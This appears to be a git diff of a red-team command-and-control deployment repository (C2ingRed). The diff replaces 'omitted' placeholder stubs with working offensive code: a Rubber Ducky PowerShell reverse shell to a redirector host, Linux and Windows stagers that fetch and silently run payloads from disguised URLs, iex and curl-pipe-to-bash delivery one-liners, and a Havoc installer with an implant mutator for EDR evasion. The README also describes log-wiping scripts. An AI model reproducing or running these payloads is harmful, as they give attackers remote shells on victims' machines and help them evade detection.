4. Run hardening playbook (baseline OS config, firewall, fail2ban, log controls)
5. Run role-specific playbook (C2 / redirector / phishing / etc.)
6. Run post-deploy verification (service health checks, connectivity tests)
7. Output deployment manifest (IPs, ports, credentials) to encrypted local file
```
Teardown reverses the provisioning step, destroying all cloud resources and deleting the deployment manifest.
---
## Tech Stack
| Layer | Technology |
|-------|-----------|
| Orchestration | Python 3.10+, Click, Rich |
| Configuration management | Ansible 2.14+ |
| Template engine | Jinja2 |
| Cloud providers | AWS (boto3), Linode API v4, FlokiNET |
| C2 framework | Havoc (open source) |
| Web server | nginx |
| Mail stack | Postfix + Dovecot + GoPhish |
| SSL | Let's Encrypt (certbot) |
| Secrets | Infisical (self-hosted) |
---
## Requirements ## Requirements
- Python 3.10+ - Python 3.6+
- Ansible 2.9+ - Ansible 2.9+
- Provider credentials in secrets manager - Provider-specific credentials:
- SSH keypair for node access - AWS: Access and secret keys
- Registered domain (required for Let's Encrypt and mail DKIM) - Linode: API token
- FlokiNET: Pre-provisioned servers
- SSH keypair for server access
- Registered domain (required for Let's Encrypt certificates)
## Installation
```bash ```bash
# Clone the repository
git clone https://github.com/yourusername/C2ingRed.git
cd C2ingRed
# Install requirements
pip install -r requirements.txt pip install -r requirements.txt
# Ensure Ansible is installed
ansible --version ansible --version
``` ```
---
## Usage ## Usage
### Main Menu (Easiest Method)
Simply run:
```bash ```bash
python3 deploy.py python3 deploy.py
``` ```
Interactive Rich TUI menu. All deployment options are accessible from the menu — no need to pass CLI flags manually. This launches the interactive main menu for deployment, providing the most user-friendly experience with guided options for all infrastructure types.
--- ### Interactive Mode
## Authorization Alternatively, you can use:
```bash
./deploy.py --interactive
```
This tool is built for authorized red team engagements and penetration testing with written scope agreements. The operational content (payloads, lures, credential capture) is excluded from this public copy precisely because it is only appropriate in a scoped, authorized context. This guides you through the deployment process with step-by-step instructions.
If you're reviewing this as a potential employer: the stubs throughout this repo document exactly what was there and why it was built that way. The engineering decisions — modular Ansible roles, secrets management, provider abstraction, OPSEC-hardened defaults — are all visible in the intact infrastructure code. ### Command-line Deployment
#### AWS Deployment:
```bash
./deploy.py --provider aws --aws-key YOUR_KEY --aws-secret YOUR_SECRET \
--domain your-domain.com --aws-region us-east-1
```
#### Linode Deployment:
```bash
./deploy.py --provider linode --linode-token YOUR_TOKEN \
--domain your-domain.com --linode-region us-east
```
#### FlokiNET Deployment (with pre-provisioned servers):
```bash
./deploy.py --provider flokinet --flokinet-redirector-ip YOUR_REDIRECTOR_IP \
--flokinet-c2-ip YOUR_C2_IP --domain your-domain.com
```
### Deployment Options
| Option | Description |
|--------|-------------|
| `--redirector-only` | Deploy only the redirector component |
| `--c2-only` | Deploy only the C2 server component |
| `--deploy-tracker` | Deploy email tracking server |
| `--integrated-tracker` | Setup tracker on C2 server instead of separate instance |
| `--disable-history` | Disable command history on servers |
| `--secure-memory` | Enable secure memory protection features |
| `--zero-logs` | Configure zero-logging throughout infrastructure |
| `--randomize-ports` | Use randomized ports for C2 communications |
| `--ssh-after-deploy` | Automatically SSH into the server after deployment |
## Post-Deployment Steps
After successful deployment:
1. Configure DNS records for your domain:
- `your-domain.com` → C2 server
- `mail.your-domain.com` → C2 server
- `cdn.your-domain.com` → Redirector (or your custom subdomain)
- `track.your-domain.com` → Tracker (if deployed)
2. Run post-install scripts on each server:
```bash
# On C2 server
/root/Tools/post_install_c2.sh
# On redirector
/root/Tools/post_install_redirector.sh
```
3. Generate Havoc C2 payloads:
```bash
# On C2 server
/root/Tools/generate_havoc_payloads.sh
```
## Using Havoc C2
Havoc C2 Framework is installed at `/root/Tools/Havoc` on the C2 server.
### Connecting to the Teamserver
From your local machine:
```bash
# Install Havoc client (development branch)
git clone -b dev https://github.com/HavocFramework/Havoc.git
cd Havoc/Client
mkdir build && cd build
cmake -GNinja ..
ninja
# Connect to Teamserver
./havoc client --address YOUR_C2_IP:40056 --username admin --password [password]
```
The password is stored in `/root/Tools/Havoc/data/profiles/default.yaotl` on the C2 server.
### Payload Delivery
PowerShell one-liner for Windows targets:
```powershell
powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('https://cdn.your-domain.com/windows_stager.ps1')"
```
Linux one-liner:
```bash
curl -s https://cdn.your-domain.com/linux_stager.sh | bash
```
## Security Considerations
- All servers include the `/root/Tools/secure-exit.sh` script to securely wipe operational data
- The `/root/Tools/clean-logs.sh` script automatically runs to remove evidence
- Port randomization enhances OPSEC when enabled
- Set proper DKIM/DMARC records for email operations
- Consider using ephemeral infrastructure for high-risk operations
## Cleaning Up
To remove all infrastructure when finished:
```bash
./deploy.py --provider PROVIDER --teardown --deployment-id YOUR_DEPLOYMENT_ID
```
Add your provider-specific authentication arguments to remove the correct resources.
## Disclaimer
This tool is intended for authorized red team operations, penetration testing, and security research only. Always obtain proper authorization before conducting security testing. The authors are not responsible for misuse or illegal activities.
+1 -1
View File
@@ -8,7 +8,7 @@ stdout_callback = default
bin_ansible_callbacks = True bin_ansible_callbacks = True
nocows = 1 nocows = 1
interpreter_python = auto_silent interpreter_python = auto_silent
ansible_python_interpreter = /opt/redteam/c2itall/venv/bin/python ansible_python_interpreter = %(here)s/venv/bin/python
[ssh_connection] [ssh_connection]
ssh_args = -o ControlMaster=auto -o ControlPersist=60s -o UserKnownHostsFile=/dev/null -o IdentitiesOnly=yes ssh_args = -o ControlMaster=auto -o ControlPersist=60s -o UserKnownHostsFile=/dev/null -o IdentitiesOnly=yes
+51 -3
View File
@@ -1,4 +1,52 @@
OMITTED — HID injection payload REM Title: C2ingRed Reverse Shell
REM Author: C2ingRed
REM Description: Establishes a reverse shell to the C2 redirector
REM Target: Windows 10/11
REM Version: 1.0
This file contains a Rubber Ducky / Bash Bunny script for physical-access REM Configuration: Modify these values to match your redirector setup
scenarios. Payloads are engagement-specific and omitted from public release. REM REDIRECTOR_HOST: Your redirector domain or IP
REM REDIRECTOR_PORT: Port where shell handler is listening
REM SHELL_TYPE: powershell or cmd
REM ============= Start of configuration =============
REM REDIRECTOR_HOST=cdn.example.com
REM REDIRECTOR_PORT=4444
REM SHELL_TYPE=powershell
REM ============= End of configuration ===============
REM Minimize the chance of detection by hiding the window
DELAY 1000
GUI r
DELAY 500
STRING powershell -WindowStyle Hidden
ENTER
DELAY 2000
REM Main reverse shell payload
STRING $ErrorActionPreference = 'SilentlyContinue'; Add-Type -AssemblyName System.Security; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; function cleanup { if (Get-Variable c -ErrorAction SilentlyContinue) { $c.Close() }; if (Get-Variable p -ErrorAction SilentlyContinue) { $p.Close() }; if (Get-Variable s -ErrorAction SilentlyContinue) { $s.Close() }; [GC]::Collect(); exit }
ENTER
REM Attempt to create socket connection with retry logic
STRING $attempts = 0; $maxAttempts = 3; while ($attempts -lt $maxAttempts) { try { $c = New-Object System.Net.Sockets.TCPClient('cdn.example.com', 4444); if ($c.Connected) { break }; } catch { $attempts++; if ($attempts -ge $maxAttempts) { cleanup } else { Start-Sleep -Seconds 2 } }; }
ENTER
REM Setup streams
STRING $s = $c.GetStream(); [byte[]]$b = 0..65535|%{0}; $sl = New-Object System.Security.Cryptography.AesManaged; $sl.Mode = [System.Security.Cryptography.CipherMode]::CBC; $sl.Padding = [System.Security.Cryptography.PaddingMode]::Zeros; $sl.BlockSize = 128; $sl.KeySize = 256; $i = 0
ENTER
REM Execute either PowerShell or CMD shell based on configuration
STRING $p = New-Object System.Diagnostics.Process; $p.StartInfo.FileName = 'powershell.exe'; $p.StartInfo.Arguments = '-NoProfile -ExecutionPolicy Bypass'; $p.StartInfo.UseShellExecute = $false; $p.StartInfo.RedirectStandardInput = $true; $p.StartInfo.RedirectStandardOutput = $true; $p.StartInfo.RedirectStandardError = $true; $p.StartInfo.CreateNoWindow = $true; $p.Start() | Out-Null
ENTER
REM Setup IO redirection
STRING $is = $p.StandardInput; $os = $p.StandardOutput; $es = $p.StandardError; $osb = New-Object System.IO.MemoryStream; $esb = New-Object System.IO.MemoryStream; $osl = New-Object System.Threading.AutoResetEvent $false; $esl = New-Object System.Threading.AutoResetEvent $false; $od = $os.BaseStream.BeginRead($b, 0, $b.Length, $null, $null); $ed = $es.BaseStream.BeginRead($b, 0, $b.Length, $null, $null)
ENTER
REM Main communication loop
STRING try { while ($true) { if ($c.Connected -ne $true -or ($osb.Length -eq 0 -and $i -gt 10000)) { cleanup }; $i = 0; Start-Sleep -Milliseconds 100; $ab = New-Object byte[] $c.Available; if ($ab.Length -gt 0) { $rd = $s.Read($ab, 0, $ab.Length); $dt = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($ab); $is.Write($dt); $i = 0 }; if ($p.HasExited) { cleanup }; } } catch { cleanup }
ENTER
REM Execute and complete
STRING iex 'Get-Process | Select-Object ProcessName,Id,CPU | Sort-Object CPU -Descending | Select-Object -First 5'
ENTER
+4 -7
View File
@@ -1,8 +1,5 @@
#!/bin/bash #!/bin/bash
# OMITTED — Linux stager template # Loader script for Linux beacon
# curl -s https://REDIRECTOR_PLACEHOLDER/static/css/linux.css -H "Accept-Language: en-US,en;q=0.9" -o /tmp/linux_update
# Jinja2 template rendered at deploy time. Fetches a staged ELF payload from chmod +x /tmp/linux_update
# the redirector using a disguised URL path, sets executable bit, and runs /tmp/linux_update &
# the payload in the background.
#
# Omitted from public release. Present in operational deployments.
+16 -8
View File
@@ -1,8 +1,16 @@
# OMITTED — Windows PowerShell stager template # Windows PowerShell Beacon Loader
# [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
# Jinja2 template rendered at deploy time with redirector hostname and path $ErrorActionPreference = "SilentlyContinue"
# substituted. Downloads a staged payload over HTTPS with a legitimate-looking $wc = New-Object System.Net.WebClient
# User-Agent and Referer, writes to a randomized temp path, and executes. $wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36")
# Includes error suppression and jitter sleep to reduce behavioral detection. $wc.Headers.Add("Accept-Language", "en-US,en;q=0.9")
# $wc.Headers.Add("Referer", "https://REDIRECTOR_PLACEHOLDER/")
# Omitted from public release. Present in operational deployments. $url = "https://REDIRECTOR_PLACEHOLDER/static/js/update.js"
$outpath = "$env:TEMP\update-$(New-Guid).exe"
try {
$wc.DownloadFile($url, $outpath)
Start-Sleep -Milliseconds (Get-Random -Minimum 500 -Maximum 3000)
Start-Process -WindowStyle Hidden -FilePath $outpath
} catch {
# Fail silently
}
+1
Submodule ghost_protocol added at 27144ccaf8
+3 -3
View File
@@ -172,7 +172,7 @@ def gather_attack_box_parameters(attack_box_type="kali"):
if config['enhanced_opsec']: if config['enhanced_opsec']:
print(f"{COLORS['YELLOW']}🔒 Enhanced OPSEC mode enabled:{COLORS['RESET']}") print(f"{COLORS['YELLOW']}🔒 Enhanced OPSEC mode enabled:{COLORS['RESET']}")
print(f" • Working directory: /root/{config['deployment_id']} (not 'operator')") print(f" • Working directory: /root/{config['deployment_id']} (not 'dmealey')")
print(f" • No 'trashpanda' references in files or aliases") print(f" • No 'trashpanda' references in files or aliases")
print(f" • Generic script names and comments") print(f" • Generic script names and comments")
print(f" • Minimal logging and history") print(f" • Minimal logging and history")
@@ -182,9 +182,9 @@ def gather_attack_box_parameters(attack_box_type="kali"):
config['project_name'] = config['deployment_id'] config['project_name'] = config['deployment_id']
else: else:
print(f"{COLORS['CYAN']}💡 Standard mode - using TrashPanda branding and structure{COLORS['RESET']}") print(f"{COLORS['CYAN']}💡 Standard mode - using TrashPanda branding and structure{COLORS['RESET']}")
config['work_dir'] = "/root/operator" config['work_dir'] = "/root/dmealey"
config['tool_name'] = "trashpanda" config['tool_name'] = "trashpanda"
config['project_name'] = "operator" config['project_name'] = "dmealey"
# Check for global auto-teardown flag # Check for global auto-teardown flag
global_auto_teardown = os.environ.get('C2ITALL_AUTO_TEARDOWN', '').lower() == 'true' global_auto_teardown = os.environ.get('C2ITALL_AUTO_TEARDOWN', '').lower() == 'true'
+16 -16
View File
@@ -3,9 +3,9 @@
# Attack Box Setup Information # Attack Box Setup Information
ATTACK_BOX_VERSION="1.0.0" ATTACK_BOX_VERSION="1.0.0"
WORKSPACE_DIR="/root/operator" WORKSPACE_DIR="/root/dmealey"
SCRIPTS_DIR="/root/operator/tools/scripts" SCRIPTS_DIR="/root/dmealey/tools/scripts"
TOOLS_DIR="/root/operator/tools" TOOLS_DIR="/root/dmealey/tools"
# Available Commands # Available Commands
echo "Attack Box Commands:" echo "Attack Box Commands:"
@@ -14,23 +14,23 @@ echo "recon <target> - Run reconnaissance automation"
echo "portscan <target> - Run port scan automation" echo "portscan <target> - Run port scan automation"
echo "webenum <target> - Run web enumeration automation" echo "webenum <target> - Run web enumeration automation"
echo "attack-menu - Launch manual testing menu" echo "attack-menu - Launch manual testing menu"
echo "operator - Change to main directory" echo "dmealey - Change to main directory"
echo "mkoperator <name> - Create new engagement structure" echo "mkdmealey <name> - Create new engagement structure"
echo "" echo ""
echo "Workspace Structure:" echo "Workspace Structure:"
echo "===================" echo "==================="
echo "~/operator/tools/ - All security tools and scripts" echo "~/dmealey/tools/ - All security tools and scripts"
echo "~/operator/scans/ - All scan results organized by type" echo "~/dmealey/scans/ - All scan results organized by type"
echo "~/operator/loot/ - Extracted data and credentials" echo "~/dmealey/loot/ - Extracted data and credentials"
echo "~/operator/targets/ - Target lists and reconnaissance" echo "~/dmealey/targets/ - Target lists and reconnaissance"
echo "~/operator/notes/ - Manual notes and observations" echo "~/dmealey/notes/ - Manual notes and observations"
echo "~/operator/reports/ - Documentation and reporting" echo "~/dmealey/reports/ - Documentation and reporting"
echo "~/operator/exploits/ - Working exploits and POCs" echo "~/dmealey/exploits/ - Working exploits and POCs"
echo "~/operator/payloads/ - Custom payloads and shells" echo "~/dmealey/payloads/ - Custom payloads and shells"
echo "~/operator/wordlists/ - Custom and downloaded wordlists" echo "~/dmealey/wordlists/ - Custom and downloaded wordlists"
echo "~/operator/pcaps/ - Network captures and analysis" echo "~/dmealey/pcaps/ - Network captures and analysis"
echo "" echo ""
echo "Trashpanda-style Directory Structure:" echo "Trashpanda-style Directory Structure:"
echo "=====================================" echo "====================================="
echo "The operator directory follows the exact structure as TrashPanda tool" echo "The dmealey directory follows the exact structure as TrashPanda tool"
echo "with organized subdirectories for different scan types and data." echo "with organized subdirectories for different scan types and data."
@@ -2,8 +2,8 @@
# Attack Box - Git Repositories Cloning Script # Attack Box - Git Repositories Cloning Script
# Clones security tool repositories with enhanced feedback # Clones security tool repositories with enhanced feedback
# Get OPERATOR_DIR from environment or use default # Get DMEALEY_DIR from environment or use default
OPERATOR_DIR="${OPERATOR_DIR:-/root/operator}" DMEALEY_DIR="${DMEALEY_DIR:-/root/dmealey}"
echo "================================================================" echo "================================================================"
echo "GIT REPOSITORIES CLONING STARTED" echo "GIT REPOSITORIES CLONING STARTED"
@@ -61,8 +61,8 @@ FAILED=0
SUCCESS=0 SUCCESS=0
# Create git directory if it doesn't exist # Create git directory if it doesn't exist
mkdir -p "$OPERATOR_DIR/tools/git" mkdir -p "$DMEALEY_DIR/tools/git"
cd "$OPERATOR_DIR/tools/git" cd "$DMEALEY_DIR/tools/git"
for i in "${!REPOS[@]}"; do for i in "${!REPOS[@]}"; do
CURRENT=$((CURRENT + 1)) CURRENT=$((CURRENT + 1))
@@ -117,6 +117,6 @@ echo "Failed: $FAILED"
echo "Success rate: $(( SUCCESS * 100 / TOTAL ))%" echo "Success rate: $(( SUCCESS * 100 / TOTAL ))%"
echo "" echo ""
echo "Cloned repositories:" echo "Cloned repositories:"
ls -la "$OPERATOR_DIR/tools/git/" | head -20 ls -la "$DMEALEY_DIR/tools/git/" | head -20
exit 0 exit 0
+3 -3
View File
@@ -2,10 +2,10 @@
# Attack Box - Go Tools Installation Script # Attack Box - Go Tools Installation Script
# Installs security tools via go install with enhanced feedback # Installs security tools via go install with enhanced feedback
# Get OPERATOR_DIR from environment or use default # Get DMEALEY_DIR from environment or use default
OPERATOR_DIR="${OPERATOR_DIR:-/root/operator}" DMEALEY_DIR="${DMEALEY_DIR:-/root/dmealey}"
export GOPATH="$OPERATOR_DIR/tools/go" export GOPATH="$DMEALEY_DIR/tools/go"
export PATH="/root/.local/bin:/usr/local/go/bin:$GOPATH/bin:$PATH" export PATH="/root/.local/bin:/usr/local/go/bin:$GOPATH/bin:$PATH"
mkdir -p "$GOPATH" mkdir -p "$GOPATH"
@@ -237,8 +237,8 @@ automated_recon() {
echo -ne "Enter target domain/IP: " echo -ne "Enter target domain/IP: "
read -r target read -r target
echo -e "${GREEN}[+] Executing recon automation script...${NC}" echo -e "${GREEN}[+] Executing recon automation script...${NC}"
if [ -f "/root/operator/tools/scripts/recon_automation.sh" ]; then if [ -f "/root/dmealey/tools/scripts/recon_automation.sh" ]; then
/root/operator/tools/scripts/recon_automation.sh "$target" /root/dmealey/tools/scripts/recon_automation.sh "$target"
else else
echo -e "${RED}[-] Recon automation script not found!${NC}" echo -e "${RED}[-] Recon automation script not found!${NC}"
fi fi
@@ -252,8 +252,8 @@ automated_port_scan() {
echo -ne "Enter target IP/range: " echo -ne "Enter target IP/range: "
read -r target read -r target
echo -e "${GREEN}[+] Executing port scan automation script...${NC}" echo -e "${GREEN}[+] Executing port scan automation script...${NC}"
if [ -f "/root/operator/tools/scripts/port_scan_automation.sh" ]; then if [ -f "/root/dmealey/tools/scripts/port_scan_automation.sh" ]; then
/root/operator/tools/scripts/port_scan_automation.sh "$target" /root/dmealey/tools/scripts/port_scan_automation.sh "$target"
else else
echo -e "${RED}[-] Port scan automation script not found!${NC}" echo -e "${RED}[-] Port scan automation script not found!${NC}"
fi fi
@@ -267,8 +267,8 @@ automated_web_enum() {
echo -ne "Enter target URL: " echo -ne "Enter target URL: "
read -r url read -r url
echo -e "${GREEN}[+] Executing web enumeration automation script...${NC}" echo -e "${GREEN}[+] Executing web enumeration automation script...${NC}"
if [ -f "/root/operator/tools/scripts/web_enum_automation.sh" ]; then if [ -f "/root/dmealey/tools/scripts/web_enum_automation.sh" ]; then
/root/operator/tools/scripts/web_enum_automation.sh "$url" /root/dmealey/tools/scripts/web_enum_automation.sh "$url"
else else
echo -e "${RED}[-] Web enumeration automation script not found!${NC}" echo -e "${RED}[-] Web enumeration automation script not found!${NC}"
fi fi
@@ -309,7 +309,7 @@ generate_reports() {
echo -e "${GREEN}========================================${NC}" echo -e "${GREEN}========================================${NC}"
echo echo
WORKSPACE="/root/operator" WORKSPACE="/root/dmealey"
DATE=$(date +%Y%m%d_%H%M%S) DATE=$(date +%Y%m%d_%H%M%S)
REPORT_DIR="$WORKSPACE/reports/manual_testing_$DATE" REPORT_DIR="$WORKSPACE/reports/manual_testing_$DATE"
@@ -385,8 +385,8 @@ if [[ $EUID -eq 0 ]]; then
sleep 2 sleep 2
fi fi
# Create operator structure if it doesn't exist # Create dmealey structure if it doesn't exist
mkdir -p "/root/operator/"{tools,scans,logs,loot,payloads,targets,screenshots,reports,notes,exploits,wordlists,pcaps} mkdir -p "/root/dmealey/"{tools,scans,logs,loot,payloads,targets,screenshots,reports,notes,exploits,wordlists,pcaps}
# Start the main menu # Start the main menu
main main
@@ -13,7 +13,7 @@ fi
TARGET="$1" TARGET="$1"
SCAN_TYPE="${2:-quick}" SCAN_TYPE="${2:-quick}"
WORKSPACE="/root/operator/scans/nmap/$TARGET" WORKSPACE="/root/dmealey/scans/nmap/$TARGET"
DATE=$(date +%Y%m%d_%H%M%S) DATE=$(date +%Y%m%d_%H%M%S)
# Colors for output # Colors for output
+1 -1
View File
@@ -11,7 +11,7 @@ if [ $# -eq 0 ]; then
fi fi
TARGET="$1" TARGET="$1"
WORKSPACE="/root/operator/scans/reachability/$TARGET" WORKSPACE="/root/dmealey/scans/reachability/$TARGET"
DATE=$(date +%Y%m%d_%H%M%S) DATE=$(date +%Y%m%d_%H%M%S)
# Colors for output # Colors for output
+2 -2
View File
@@ -15,8 +15,8 @@ if [ -n "$1" ]; then
WORK_DIR="$1" WORK_DIR="$1"
else else
# Auto-detect working directory # Auto-detect working directory
if [ -d "/root/operator" ]; then if [ -d "/root/dmealey" ]; then
WORK_DIR="/root/operator" WORK_DIR="/root/dmealey"
else else
# Find deployment-named directory # Find deployment-named directory
WORK_DIR=$(find /root -maxdepth 1 -type d -name "*[a-z]*[a-z]*" 2>/dev/null | head -1) WORK_DIR=$(find /root -maxdepth 1 -type d -name "*[a-z]*[a-z]*" 2>/dev/null | head -1)
+4 -4
View File
@@ -207,7 +207,7 @@ def print_banner():
""" """
print(banner) print(banner)
def create_pentest_structure(base_name="/root/operator"): def create_pentest_structure(base_name="/root/dmealey"):
"""Create a comprehensive penetration testing directory structure.""" """Create a comprehensive penetration testing directory structure."""
# Main engagement directory # Main engagement directory
@@ -301,7 +301,7 @@ def create_pentest_structure(base_name="/root/operator"):
f.write(f"TrashPanda Engagement Log\n") f.write(f"TrashPanda Engagement Log\n")
f.write(f"========================\n") f.write(f"========================\n")
f.write(f"Started: {time.strftime('%Y-%m-%d %H:%M:%S')}\n") f.write(f"Started: {time.strftime('%Y-%m-%d %H:%M:%S')}\n")
f.write(f"Operator: operator\n") f.write(f"Operator: dmealey\n")
f.write(f"Tool: TrashPanda v2.4\n\n") f.write(f"Tool: TrashPanda v2.4\n\n")
# Create initial target file # Create initial target file
@@ -3044,7 +3044,7 @@ def generate_summary_report(base_dir):
f.write("TRASHPANDA COMPREHENSIVE PENETRATION TESTING REPORT\n") f.write("TRASHPANDA COMPREHENSIVE PENETRATION TESTING REPORT\n")
f.write("=" * 80 + "\n\n") f.write("=" * 80 + "\n\n")
f.write(f"Generated: {time.strftime('%Y-%m-%d %H:%M:%S')}\n") f.write(f"Generated: {time.strftime('%Y-%m-%d %H:%M:%S')}\n")
f.write(f"Operator: operator\n") f.write(f"Operator: dmealey\n")
f.write(f"Engagement Directory: {base_dir}\n\n") f.write(f"Engagement Directory: {base_dir}\n\n")
# Enhanced directory structure overview # Enhanced directory structure overview
@@ -3153,7 +3153,7 @@ Examples:
parser.add_argument("targets", nargs='?', help="Target file, IP, IP range, or CIDR") parser.add_argument("targets", nargs='?', help="Target file, IP, IP range, or CIDR")
# Directory options # Directory options
parser.add_argument("-d", "--directory", help="Engagement directory name", default="/root/operator") parser.add_argument("-d", "--directory", help="Engagement directory name", default="/root/dmealey")
parser.add_argument("-c", "--create-dirs", action="store_true", help="Only create directory structure and exit") parser.add_argument("-c", "--create-dirs", action="store_true", help="Only create directory structure and exit")
# Scan modes # Scan modes
@@ -7,14 +7,14 @@ set -e
if [ $# -eq 0 ]; then if [ $# -eq 0 ]; then
echo "Usage: $0 <target_url>" echo "Usage: $0 <target_url>"
echo "Example: $0 https://example.com" echo "Example: $0 https://example.com"
echo " $0 http://10.0.0.100:8080" echo " $0 http://192.168.1.100:8080"
exit 1 exit 1
fi fi
TARGET_URL="$1" TARGET_URL="$1"
# Extract domain/IP for workspace naming # Extract domain/IP for workspace naming
TARGET_CLEAN=$(echo "$TARGET_URL" | sed 's|https\?://||g' | sed 's|/.*||g' | tr ':' '_') TARGET_CLEAN=$(echo "$TARGET_URL" | sed 's|https\?://||g' | sed 's|/.*||g' | tr ':' '_')
WORKSPACE="/root/operator/scans/web/$TARGET_CLEAN" WORKSPACE="/root/dmealey/scans/web/$TARGET_CLEAN"
DATE=$(date +%Y%m%d_%H%M%S) DATE=$(date +%Y%m%d_%H%M%S)
# Colors for output # Colors for output
@@ -8,7 +8,7 @@ import os
import time import time
from pathlib import Path from pathlib import Path
def create_workspace_structure(base_name="/root/operator", operator="operator"): def create_workspace_structure(base_name="/root/dmealey", operator="operator"):
"""Create a comprehensive penetration testing directory structure like trashpanda.""" """Create a comprehensive penetration testing directory structure like trashpanda."""
# Main engagement directory # Main engagement directory
@@ -227,7 +227,7 @@ if __name__ == "__main__":
if len(sys.argv) > 1: if len(sys.argv) > 1:
workspace_name = sys.argv[1] workspace_name = sys.argv[1]
else: else:
workspace_name = f"/root/operator" workspace_name = f"/root/dmealey"
operator = getpass.getuser() operator = getpass.getuser()
create_workspace_structure(workspace_name, operator) create_workspace_structure(workspace_name, operator)
@@ -468,7 +468,7 @@
# Add targets one per line in various formats: # Add targets one per line in various formats:
# #
# Individual IPs: # Individual IPs:
# 10.0.0.10 # 192.168.1.10
# 10.0.0.5 # 10.0.0.5
# #
# IP Ranges: # IP Ranges:
+233 -8
View File
@@ -1,9 +1,234 @@
#!/bin/bash #!/bin/bash
# OMITTED — Havoc C2 framework installer # Enhanced Havoc C2 Framework installer optimized for Red Team Operations
# # This script installs and configures Havoc with EDR evasion features
# Installs Havoc C2 teamserver and client from source, configures systemd service, # The mutation features are applied BEFORE building to ensure proper compilation
# sets up operator accounts, and applies hardening (non-default ports, TLS certs,
# firewall rules restricting access to redirector IPs only). set -e
# TEMP_DIR=$(mktemp -d)
# Omitted from public release. Present in operational deployments. LOG_FILE="/root/Tools/havoc_installer.log"
echo "[!] Havoc installer not included in public release." HAVOC_DIR="/root/Tools/Havoc"
HAVOC_DATA_DIR="/root/Tools/Havoc/data"
COMPILER_URL="http://musl.cc/x86_64-w64-mingw32-cross.tgz"
COMPILER_DIR="/usr/bin/x86_64-w64-mingw32-cross"
COMPILER_PATH="$COMPILER_DIR/bin/x86_64-w64-mingw32-gcc"
IMPLANT_MUTATOR_SCRIPT="$HAVOC_DIR/implant_mutator.sh"
HAVOC_GITHUB="https://github.com/HavocFramework/Havoc.git"
# Function to log messages
log() {
echo "[$(date +"%Y-%m-%d %H:%M:%S")] $1" | tee -a $LOG_FILE
}
# Function to generate random strings
random_string() {
local length=${1:-16}
cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w $length | head -n 1
}
# Generate random build ID for implant signature
RANDOMIZED_BUILD_ID=$(random_string 16)
# Install required dependencies
log "Installing dependencies..."
apt-get update >/dev/null 2>&1
apt-get install -y git build-essential apt-utils cmake libfontconfig1 libglu1-mesa-dev libgtest-dev libspdlog-dev libboost-all-dev libncurses5-dev libgdbm-dev libssl-dev libreadline-dev libffi-dev libsqlite3-dev libbz2-dev mesa-common-dev qtbase5-dev qtchooser qt5-qmake qtbase5-dev-tools libqt5websockets5 libqt5websockets5-dev qtdeclarative5-dev golang-go qtbase5-dev libqt5websockets5-dev python3-dev libboost-all-dev mingw-w64 nasm >/dev/null 2>&1
# Fix for JSON dependency
log "Installing nlohmann-json manually..."
mkdir -p /tmp/json
cd /tmp/json
wget -q https://github.com/nlohmann/json/releases/download/v3.11.2/json.hpp
mkdir -p /usr/include/nlohmann
cp json.hpp /usr/include/nlohmann/
cd - > /dev/null
# Setup Go environment
log "Setting up Go environment..."
mkdir -p /root/go
export GOPATH=/root/go
export PATH=$PATH:/usr/local/go/bin:$GOPATH/bin
# Download and install compiler fix
log "Downloading and installing fixed compiler..."
if [ ! -d "$COMPILER_DIR" ]; then
# Download the compiler
wget -q -O /tmp/compiler.tgz $COMPILER_URL
# Extract to /usr/bin
tar -xzf /tmp/compiler.tgz -C /usr/bin
# Verify compiler exists
if [ -f "$COMPILER_PATH" ]; then
log "Compiler installed successfully at $COMPILER_PATH"
chmod +x $COMPILER_PATH
else
log "Error: Compiler installation failed. File not found at $COMPILER_PATH"
fi
# Clean up
rm -f /tmp/compiler.tgz
else
log "Compiler already installed at $COMPILER_DIR"
fi
# Clone Havoc repository
log "Cloning Havoc repository..."
if [ -d "$HAVOC_DIR" ]; then
log "Havoc directory already exists, updating..."
cd $HAVOC_DIR
git pull
else
# Clone with proper GitHub URL
git clone --quiet -b dev $HAVOC_GITHUB $HAVOC_DIR
cd $HAVOC_DIR
fi
# Create data directories
mkdir -p $HAVOC_DATA_DIR
mkdir -p $HAVOC_DIR/payloads
mkdir -p $HAVOC_DIR/payloads/backup
# Initialize submodules
log "Initializing submodules..."
cd $HAVOC_DIR
git submodule init
git submodule update --recursive
# Create improved implant mutator script BEFORE building
log "Creating implant mutator script..."
cat > "$IMPLANT_MUTATOR_SCRIPT" << 'EOF'
#!/bin/bash
# === CONFIG ===
IMPLANT_DIR="$HOME/Tools/havoc/payloads/Demon"
SRC_DIR="$IMPLANT_DIR/src"
BUILD_ROOT="$HOME/Tools/havoc"
OUTPUT_FILE="$HOME/Tools/havoc/payloads/Shellcode.x64.bin"
BACKUP_DIR="$HOME/Tools/havoc/payloads/backup"
TIMESTAMP=$(date +"%Y%m%d_%H%M%S")
# === COLORS ===
YELLOW='\033[1;33m'
GREEN='\033[1;32m'
NC='\033[0m'
echo -e "${YELLOW}[+] Starting Havoc implant mutation...${NC}"
# === 1. Backup Previous Shellcode ===
mkdir -p "$BACKUP_DIR"
if [[ -f "$OUTPUT_FILE" ]]; then
cp "$OUTPUT_FILE" "$BACKUP_DIR/implant_$TIMESTAMP.raw"
echo -e "${GREEN}[*] Previous shellcode backed up to: implant_$TIMESTAMP.raw${NC}"
else
echo -e "${YELLOW}[!] No previous shellcode found to back up.${NC}"
fi
# === 2. Generate Random Identifiers ===
random_str() {
tr -dc A-Za-z0-9 </dev/urandom | head -c 12
}
UA=$(random_str)
URI=$(random_str)
PIPE=$(random_str)
MUTEX=$(random_str)
# === 3. Mutate TransportHttp.c ===
THTTP="$SRC_DIR/core/TransportHttp.c"
if [[ -f "$THTTP" ]]; then
sed -i "s/User-Agent: .*/User-Agent: ${UA}\\r\\n\";/" "$THTTP"
sed -i "s|/stage|/${URI}|g" "$THTTP"
echo -e "${GREEN}[*] Replaced User-Agent with '${UA}' and URI path with '/${URI}'${NC}"
else
echo -e "${YELLOW}[!] TransportHttp.c not found. Skipping User-Agent/URI mutation.${NC}"
fi
# === 4. Mutate Named Pipe and Mutex ===
